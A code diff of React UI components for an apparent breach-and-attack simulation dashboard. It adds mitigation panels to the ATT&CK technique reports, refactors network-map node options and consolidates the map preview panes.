||||
|
|
|
@ -1,4 +1,5 @@
|
|||
import React from 'react';
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1065 extends React.Component {
|
||||
|
@ -7,6 +8,7 @@ class T1065 extends React.Component {
|
|||
return (
|
||||
<div>
|
||||
<div>{this.props.data.message}</div>
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {renderMachine, ScanStatus} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1075 extends React.Component {
|
||||
|
@ -41,6 +42,7 @@ class T1075 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.successful_logins.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1082 extends React.Component {
|
||||
|
@ -12,14 +13,18 @@ class T1082 extends React.Component {
|
|||
static getSystemInfoColumns() {
|
||||
return ([{
|
||||
columns: [
|
||||
{ Header: 'Machine',
|
||||
{
|
||||
Header: 'Machine',
|
||||
id: 'machine',
|
||||
accessor: x => renderMachineFromSystemData(x.machine),
|
||||
style: {'whiteSpace': 'unset'}},
|
||||
{ Header: 'Gathered info',
|
||||
style: {'whiteSpace': 'unset'}
|
||||
},
|
||||
{
|
||||
Header: 'Gathered info',
|
||||
id: 'info',
|
||||
accessor: x => renderUsageFields(x.collections),
|
||||
style: {'whiteSpace': 'unset'}}
|
||||
style: {'whiteSpace': 'unset'}
|
||||
}
|
||||
]
|
||||
}])
|
||||
}
|
||||
|
@ -36,6 +41,7 @@ class T1082 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.system_info.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {renderMachine, ScanStatus} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1086 extends React.Component {
|
||||
|
@ -21,7 +22,12 @@ class T1086 extends React.Component {
|
|||
width: 160
|
||||
},
|
||||
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: {'whiteSpace': 'unset'}},
|
||||
{Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: {'whiteSpace': 'unset'}}
|
||||
{
|
||||
Header: 'Command',
|
||||
id: 'command',
|
||||
accessor: x => x.data[0].info.executed_cmds[0].cmd,
|
||||
style: {'whiteSpace': 'unset'}
|
||||
}
|
||||
]
|
||||
}])
|
||||
}
|
||||
|
@ -38,6 +44,7 @@ class T1086 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.cmds.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {renderMachineFromSystemData, ScanStatus} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1090 extends React.Component {
|
||||
|
@ -33,6 +34,7 @@ class T1090 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.proxies.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {ScanStatus} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1105 extends React.Component {
|
||||
|
@ -32,6 +33,7 @@ class T1105 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.files.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {getUsageColumns} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1106 extends React.Component {
|
||||
|
@ -21,6 +22,7 @@ class T1106 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.api_uses.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {renderMachineFromSystemData, ScanStatus} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1107 extends React.Component {
|
||||
|
@ -46,6 +47,7 @@ class T1107 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.deleted_files.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {renderMachine, ScanStatus} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent'
|
||||
|
||||
|
||||
class T1110 extends React.Component {
|
||||
|
@ -46,6 +47,7 @@ class T1110 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.services.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {getUsageColumns} from './Helpers';
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
class T1129 extends React.Component {
|
||||
|
||||
|
@ -20,6 +21,7 @@ class T1129 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.dlls.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {renderMachineFromSystemData, ScanStatus} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1145 extends React.Component {
|
||||
|
@ -49,6 +50,7 @@ class T1145 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.ssh_info.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {renderMachineFromSystemData, ScanStatus} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1188 extends React.Component {
|
||||
|
@ -47,6 +48,7 @@ class T1188 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.hops.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {renderMachine} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1210 extends React.Component {
|
||||
|
@ -49,6 +50,7 @@ class T1210 extends React.Component {
|
|||
</div>
|
||||
<br/>
|
||||
{this.renderExploitedMachines()}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {renderMachine} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1210 extends React.Component {
|
||||
|
@ -99,6 +100,7 @@ class T1210 extends React.Component {
|
|||
this.renderScannedServices(scanned_services) : ''}
|
||||
{this.props.data.exploited_services.length > 0 ?
|
||||
this.renderExploitedServices(this.props.data.exploited_services) : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table';
|
||||
import {renderMachine, ScanStatus} from './Helpers'
|
||||
import MitigationsComponent from './MitigationsComponent';
|
||||
|
||||
|
||||
class T1222 extends React.Component {
|
||||
|
@ -31,6 +32,7 @@ class T1222 extends React.Component {
|
|||
showPagination={false}
|
||||
defaultPageSize={this.props.data.commands.length}
|
||||
/> : ''}
|
||||
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -1,16 +1,11 @@
|
|||
const groupNames = ['clean_unknown', 'clean_linux', 'clean_windows', 'exploited_linux', 'exploited_windows', 'island',
|
||||
'island_monkey_linux', 'island_monkey_linux_running', 'island_monkey_windows', 'island_monkey_windows_running',
|
||||
'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux',
|
||||
'monkey_linux_running', 'monkey_windows', 'monkey_windows_running'];
|
||||
|
||||
let getGroupsOptions = () => {
|
||||
let getGroupsOptions = (stateList) => {
|
||||
let groupOptions = {};
|
||||
for (let groupName of groupNames) {
|
||||
groupOptions[groupName] =
|
||||
for (let stateName of stateList) {
|
||||
groupOptions[stateName] =
|
||||
{
|
||||
shape: 'image',
|
||||
size: 50,
|
||||
image: require('../../images/nodes/' + groupName + '.png')
|
||||
image: require('../../images/nodes/' + stateName + '.png')
|
||||
};
|
||||
}
|
||||
|
||||
|
@ -52,11 +47,11 @@ export const basic_options = {
|
|||
}
|
||||
};
|
||||
|
||||
export const options = (() => {
|
||||
export function getOptions(stateList) {
|
||||
let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */
|
||||
opts.groups = getGroupsOptions();
|
||||
opts.groups = getGroupsOptions(stateList);
|
||||
return opts;
|
||||
})();
|
||||
}
|
||||
|
||||
export const optionsPth = (() => {
|
||||
let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */
|
||||
|
|
|
@ -1,246 +0,0 @@
|
|||
import React from 'react';
|
||||
import Toggle from 'react-toggle';
|
||||
import {OverlayTrigger, Tooltip} from 'react-bootstrap';
|
||||
import download from 'downloadjs'
|
||||
import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
|
||||
|
||||
class InfMapPreviewPaneComponent extends PreviewPaneComponent {
|
||||
|
||||
osRow(asset) {
|
||||
return (
|
||||
<tr>
|
||||
<th>Operating System</th>
|
||||
<td>{asset.os.charAt(0).toUpperCase() + asset.os.slice(1)}</td>
|
||||
</tr>
|
||||
);
|
||||
}
|
||||
|
||||
ipsRow(asset) {
|
||||
return (
|
||||
<tr>
|
||||
<th>IP Addresses</th>
|
||||
<td>{asset.ip_addresses.map(val => <div key={val}>{val}</div>)}</td>
|
||||
</tr>
|
||||
);
|
||||
}
|
||||
|
||||
servicesRow(asset) {
|
||||
return (
|
||||
<tr>
|
||||
<th>Services</th>
|
||||
<td>{asset.services.map(val => <div key={val}>{val}</div>)}</td>
|
||||
</tr>
|
||||
);
|
||||
}
|
||||
|
||||
accessibleRow(asset) {
|
||||
return (
|
||||
<tr>
|
||||
<th>
|
||||
Accessible From
|
||||
{this.generateToolTip('List of machine which can access this one using a network protocol')}
|
||||
</th>
|
||||
<td>{asset.accessible_from_nodes.map(val => <div key={val}>{val}</div>)}</td>
|
||||
</tr>
|
||||
);
|
||||
}
|
||||
|
||||
statusRow(asset) {
|
||||
return (
|
||||
<tr>
|
||||
<th>Status</th>
|
||||
<td>{(asset.dead) ? 'Dead' : 'Alive'}</td>
|
||||
</tr>
|
||||
);
|
||||
}
|
||||
|
||||
forceKill(event, asset) {
|
||||
let newConfig = asset.config;
|
||||
newConfig['alive'] = !event.target.checked;
|
||||
this.authFetch('/api/monkey/' + asset.guid,
|
||||
{
|
||||
method: 'PATCH',
|
||||
headers: {'Content-Type': 'application/json'},
|
||||
body: JSON.stringify({config: newConfig})
|
||||
});
|
||||
}
|
||||
|
||||
forceKillRow(asset) {
|
||||
return (
|
||||
<tr>
|
||||
<th>
|
||||
Force Kill
|
||||
{this.generateToolTip('If this is on, monkey will die next time it communicates')}
|
||||
</th>
|
||||
<td>
|
||||
<Toggle id={asset.id} checked={!asset.config.alive} icons={false} disabled={asset.dead}
|
||||
onChange={(e) => this.forceKill(e, asset)}/>
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
);
|
||||
}
|
||||
|
||||
unescapeLog(st) {
|
||||
return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string.
|
||||
.replace(/\\n/g, '\n')
|
||||
.replace(/\\r/g, '\r')
|
||||
.replace(/\\t/g, '\t')
|
||||
.replace(/\\b/g, '\b')
|
||||
.replace(/\\f/g, '\f')
|
||||
.replace(/\\"/g, '\"')
|
||||
.replace(/\\'/g, '\'')
|
||||
.replace(/\\&/g, '\&');
|
||||
}
|
||||
|
||||
downloadLog(asset) {
|
||||
this.authFetch('/api/log?id=' + asset.id)
|
||||
.then(res => res.json())
|
||||
.then(res => {
|
||||
let timestamp = res['timestamp'];
|
||||
timestamp = timestamp.substr(0, timestamp.indexOf('.'));
|
||||
let filename = res['monkey_label'].split(':').join('-') + ' - ' + timestamp + '.log';
|
||||
let logContent = this.unescapeLog(res['log']);
|
||||
download(logContent, filename, 'text/plain');
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
downloadLogRow(asset) {
|
||||
return (
|
||||
<tr>
|
||||
<th>
|
||||
Download Log
|
||||
</th>
|
||||
<td>
|
||||
<a type="button" className="btn btn-primary"
|
||||
disabled={!asset.has_log}
|
||||
onClick={() => this.downloadLog(asset)}>Download</a>
|
||||
</td>
|
||||
</tr>
|
||||
);
|
||||
}
|
||||
|
||||
exploitsTimeline(asset) {
|
||||
if (asset.exploits.length === 0) {
|
||||
return (<div/>);
|
||||
}
|
||||
|
||||
return (
|
||||
<div>
|
||||
<h4 style={{'marginTop': '2em'}}>
|
||||
Exploit Timeline
|
||||
{this.generateToolTip('Timeline of exploit attempts. Red is successful. Gray is unsuccessful')}
|
||||
</h4>
|
||||
<ul className="timeline">
|
||||
{asset.exploits.map(exploit =>
|
||||
<li key={exploit.timestamp}>
|
||||
<div className={'bullet ' + (exploit.result ? 'bad' : '')}/>
|
||||
<div>{new Date(exploit.timestamp).toLocaleString()}</div>
|
||||
<div>{exploit.origin}</div>
|
||||
<div>{exploit.exploiter}</div>
|
||||
</li>
|
||||
)}
|
||||
</ul>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
assetInfo(asset) {
|
||||
return (
|
||||
<div>
|
||||
<table className="table table-condensed">
|
||||
<tbody>
|
||||
{this.osRow(asset)}
|
||||
{this.ipsRow(asset)}
|
||||
{this.servicesRow(asset)}
|
||||
{this.accessibleRow(asset)}
|
||||
</tbody>
|
||||
</table>
|
||||
{this.exploitsTimeline(asset)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
infectedAssetInfo(asset) {
|
||||
return (
|
||||
<div>
|
||||
<table className="table table-condensed">
|
||||
<tbody>
|
||||
{this.osRow(asset)}
|
||||
{this.statusRow(asset)}
|
||||
{this.ipsRow(asset)}
|
||||
{this.servicesRow(asset)}
|
||||
{this.accessibleRow(asset)}
|
||||
{this.forceKillRow(asset)}
|
||||
{this.downloadLogRow(asset)}
|
||||
</tbody>
|
||||
</table>
|
||||
{this.exploitsTimeline(asset)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
scanInfo(edge) {
|
||||
return (
|
||||
<div>
|
||||
<table className="table table-condensed">
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>Operating System</th>
|
||||
<td>{edge.os.type}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>IP Address</th>
|
||||
<td>{edge.ip_address}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Services</th>
|
||||
<td>{edge.services.map(val => <div key={val}>{val}</div>)}</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
{
|
||||
(edge.exploits.length === 0) ?
|
||||
'' :
|
||||
<div>
|
||||
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
|
||||
<ul className="timeline">
|
||||
{edge.exploits.map(exploit =>
|
||||
<li key={exploit.timestamp}>
|
||||
<div className={'bullet ' + (exploit.result ? 'bad' : '')}/>
|
||||
<div>{new Date(exploit.timestamp).toLocaleString()}</div>
|
||||
<div>{exploit.origin}</div>
|
||||
<div>{exploit.exploiter}</div>
|
||||
</li>
|
||||
)}
|
||||
</ul>
|
||||
</div>
|
||||
}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
islandEdgeInfo() {
|
||||
return (
|
||||
<div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
getInfoByProps() {
|
||||
switch (this.props.type) {
|
||||
case 'edge':
|
||||
return this.scanInfo(this.props.item);
|
||||
case 'node':
|
||||
return this.props.item.group.includes('monkey', 'manual') ?
|
||||
this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item);
|
||||
case 'island_edge':
|
||||
return this.islandEdgeInfo();
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
export default InfMapPreviewPaneComponent;
|
|
@ -253,8 +253,15 @@ class PreviewPaneComponent extends AuthComponent {
|
|||
info = this.scanInfo(this.props.item);
|
||||
break;
|
||||
case 'node':
|
||||
info = this.props.item.group.includes('monkey', 'manual') ? this.infectedAssetInfo(this.props.item) :
|
||||
this.props.item.group !== 'island' ? this.assetInfo(this.props.item) : this.islandAssetInfo();
|
||||
if (this.props.item.group.includes('monkey') && this.props.item.group.includes('starting')) {
|
||||
info = this.assetInfo(this.props.item);
|
||||
} else if (this.props.item.group.includes('monkey', 'manual')) {
|
||||
info = this.infectedAssetInfo(this.props.item)
|
||||
} else if (this.props.item.group !== 'island') {
|
||||
info = this.assetInfo(this.props.item)
|
||||
} else {
|
||||
info = this.islandAssetInfo();
|
||||
}
|
||||
break;
|
||||
case 'island_edge':
|
||||
info = this.islandEdgeInfo();
|
||||
|
|
|
@ -1,59 +0,0 @@
|
|||
import React from 'react';
|
||||
import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
|
||||
|
||||
class PthPreviewPaneComponent extends PreviewPaneComponent {
|
||||
nodeInfo(asset) {
|
||||
return (
|
||||
<div>
|
||||
<table className="table table-condensed">
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>Hostname</th>
|
||||
<td>{asset.hostname}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>IP Addresses</th>
|
||||
<td>{asset.ips.map(val => <div key={val}>{val}</div>)}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Services</th>
|
||||
<td>{asset.services.map(val => <div key={val}>{val}</div>)}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Compromised Users</th>
|
||||
<td>{asset.users.map(val => <div key={val}>{val}</div>)}</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
edgeInfo(edge) {
|
||||
return (
|
||||
<div>
|
||||
<table className="table table-condensed">
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>Compromised Users</th>
|
||||
<td>{edge.users.map(val => <div key={val}>{val}</div>)}</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
getInfoByProps() {
|
||||
switch (this.props.type) {
|
||||
case 'edge':
|
||||
return this.edgeInfo(this.props.item);
|
||||
case 'node':
|
||||
return this.nodeInfo(this.props.item);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
export default PthPreviewPaneComponent;
|
|
@ -3,9 +3,9 @@ import {Col, Modal} from 'react-bootstrap';
|
|||
import {Link} from 'react-router-dom';
|
||||
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
|
||||
import { faStopCircle, faMinus } from '@fortawesome/free-solid-svg-icons'
|
||||
import InfMapPreviewPaneComponent from 'components/map/preview-pane/InfMapPreviewPane';
|
||||
import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
|
||||
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
|
||||
import {options, edgeGroupToColor} from 'components/map/MapOptions';
|
||||
import {getOptions, edgeGroupToColor} from 'components/map/MapOptions';
|
||||
import AuthComponent from '../AuthComponent';
|
||||
|
||||
class MapPageComponent extends AuthComponent {
|
||||
|
@ -13,6 +13,7 @@ class MapPageComponent extends AuthComponent {
|
|||
super(props);
|
||||
this.state = {
|
||||
graph: {nodes: [], edges: []},
|
||||
nodeStateList:[],
|
||||
selected: null,
|
||||
selectedType: null,
|
||||
killPressed: false,
|
||||
|
@ -33,6 +34,7 @@ class MapPageComponent extends AuthComponent {
|
|||
};
|
||||
|
||||
componentDidMount() {
|
||||
this.getNodeStateListFromServer();
|
||||
this.updateMapFromServer();
|
||||
this.interval = setInterval(this.timedEvents, 5000);
|
||||
}
|
||||
|
@ -41,6 +43,14 @@ class MapPageComponent extends AuthComponent {
|
|||
clearInterval(this.interval);
|
||||
}
|
||||
|
||||
getNodeStateListFromServer = () => {
|
||||
this.authFetch('/api/netmap/nodeStates')
|
||||
.then(res => res.json())
|
||||
.then(res => {
|
||||
this.setState({nodeStateList: res.node_states});
|
||||
});
|
||||
};
|
||||
|
||||
timedEvents = () => {
|
||||
this.updateMapFromServer();
|
||||
this.updateTelemetryFromServer();
|
||||
|
@ -201,7 +211,7 @@ class MapPageComponent extends AuthComponent {
|
|||
</div>
|
||||
{this.renderTelemetryConsole()}
|
||||
<div style={{height: '80vh'}}>
|
||||
<ReactiveGraph graph={this.state.graph} options={options} events={this.events}/>
|
||||
<ReactiveGraph graph={this.state.graph} options={getOptions(this.state.nodeStateList)} events={this.events}/>
|
||||
</div>
|
||||
{this.renderTelemetryLineCount()}
|
||||
</Col>
|
||||
|
@ -226,7 +236,7 @@ class MapPageComponent extends AuthComponent {
|
|||
</div>
|
||||
: ''}
|
||||
|
||||
<InfMapPreviewPaneComponent item={this.state.selected} type={this.state.selectedType}/>
|
||||
<PreviewPaneComponent item={this.state.selected} type={this.state.selectedType}/>
|
||||
</Col>
|
||||
</div>
|
||||
);
|
||||
|
|
|
@ -3,8 +3,6 @@ import '../../styles/report/ReportPage.scss';
|
|||
import React from 'react';
|
||||
import {Route} from 'react-router-dom';
|
||||
import {Col, Nav, NavItem} from 'react-bootstrap';
|
||||
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
|
||||
import {edgeGroupToColor, options} from 'components/map/MapOptions';
|
||||
import AuthComponent from '../AuthComponent';
|
||||
import MustRunMonkeyWarning from '../report-components/common/MustRunMonkeyWarning';
|
||||
import AttackReport from '../report-components/AttackReport'
|
||||
|
|
|
@ -3,10 +3,18 @@ import Graph from 'react-graph-vis';
|
|||
import Dimensions from 'react-dimensions'
|
||||
|
||||
class GraphWrapper extends React.Component {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
render() {
|
||||
let newOptions = this.props.options;
|
||||
let newOptions = null;
|
||||
if(this.props.options !== undefined){
|
||||
newOptions = this.props.options;
|
||||
newOptions.height = this.props.containerHeight.toString() + 'px';
|
||||
newOptions.width = this.props.containerWidth.toString() + 'px';
|
||||
}
|
||||
return (<Graph graph={this.props.graph} options={newOptions} events={this.props.events}/>)
|
||||
}
|
||||
}
|
||||
|
|
|
@ -57,7 +57,7 @@ class AttackReport extends React.Component {
|
|||
static getComponentClass(tech_id, techniques) {
|
||||
switch (techniques[tech_id].status) {
|
||||
case ScanStatus.SCANNED:
|
||||
return 'collapse-info';
|
||||
return 'collapse-warning';
|
||||
case ScanStatus.USED:
|
||||
return 'collapse-danger';
|
||||
default:
|
||||
|
@ -79,16 +79,16 @@ class AttackReport extends React.Component {
|
|||
renderLegend() {
|
||||
return (<div id='header' className='row justify-content-between attack-legend'>
|
||||
<Col xs={4}>
|
||||
<FontAwesomeIcon icon={faCircle} className='icon-default'/>
|
||||
<span> - Not scanned</span>
|
||||
<FontAwesomeIcon icon={faCircle} className='technique-not-attempted'/>
|
||||
<span> - Not attempted</span>
|
||||
</Col>
|
||||
<Col xs={4}>
|
||||
<FontAwesomeIcon icon={faCircle} className='icon-info'/>
|
||||
<span> - Scanned</span>
|
||||
<FontAwesomeIcon icon={faCircle} className='technique-attempted'/>
|
||||
<span> - Tried (but failed)</span>
|
||||
</Col>
|
||||
<Col xs={4}>
|
||||
<FontAwesomeIcon icon={faCircle} className='icon-danger'/>
|
||||
<span> - Used</span>
|
||||
<FontAwesomeIcon icon={faCircle} className='technique-used'/>
|
||||
<span> - Successfully used</span>
|
||||
</Col>
|
||||
</div>)
|
||||
}
|
||||
|
|
|
@ -3,7 +3,7 @@ import BreachedServers from 'components/report-components/security/BreachedServe
|
|||
import ScannedServers from 'components/report-components/security/ScannedServers';
|
||||
import PostBreach from 'components/report-components/security/PostBreach';
|
||||
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
|
||||
import {edgeGroupToColor, options} from 'components/map/MapOptions';
|
||||
import {edgeGroupToColor, getOptions} from 'components/map/MapOptions';
|
||||
import StolenPasswords from 'components/report-components/security/StolenPasswords';
|
||||
import CollapsibleWellComponent from 'components/report-components/security/CollapsibleWell';
|
||||
import {Line} from 'rc-progress';
|
||||
|
@ -54,14 +54,24 @@ class ReportPageComponent extends AuthComponent {
|
|||
super(props);
|
||||
this.state = {
|
||||
report: props.report,
|
||||
graph: {nodes: [], edges: []}
|
||||
graph: {nodes: [], edges: []},
|
||||
nodeStateList: []
|
||||
};
|
||||
}
|
||||
|
||||
componentDidMount() {
|
||||
this.getNodeStateListFromServer();
|
||||
this.updateMapFromServer();
|
||||
}
|
||||
|
||||
getNodeStateListFromServer = () => {
|
||||
this.authFetch('/api/netmap/nodeStates')
|
||||
.then(res => res.json())
|
||||
.then(res => {
|
||||
this.setState({nodeStateList: res.node_states});
|
||||
});
|
||||
};
|
||||
|
||||
componentWillUnmount() {
|
||||
clearInterval(this.interval);
|
||||
}
|
||||
|
@ -396,7 +406,7 @@ class ReportPageComponent extends AuthComponent {
|
|||
<span>Island Communication <FontAwesomeIcon icon={faMinus} size="lg" style={{color: '#a9aaa9'}}/></span>
|
||||
</div>
|
||||
<div style={{position: 'relative', height: '80vh'}}>
|
||||
<ReactiveGraph graph={this.state.graph} options={options}/>
|
||||
<ReactiveGraph graph={this.state.graph} options={getOptions(this.state.nodeStateList)}/>
|
||||
</div>
|
||||
<div style={{marginBottom: '20px'}}>
|
||||
<BreachedServers data={this.state.report.glance.exploited}/>
|
||||
|
|
After Width: | Height: | Size: 36 KiB |
After Width: | Height: | Size: 19 KiB |
After Width: | Height: | Size: 23 KiB |
After Width: | Height: | Size: 95 KiB |
After Width: | Height: | Size: 85 KiB |
After Width: | Height: | Size: 156 KiB |
After Width: | Height: | Size: 163 KiB |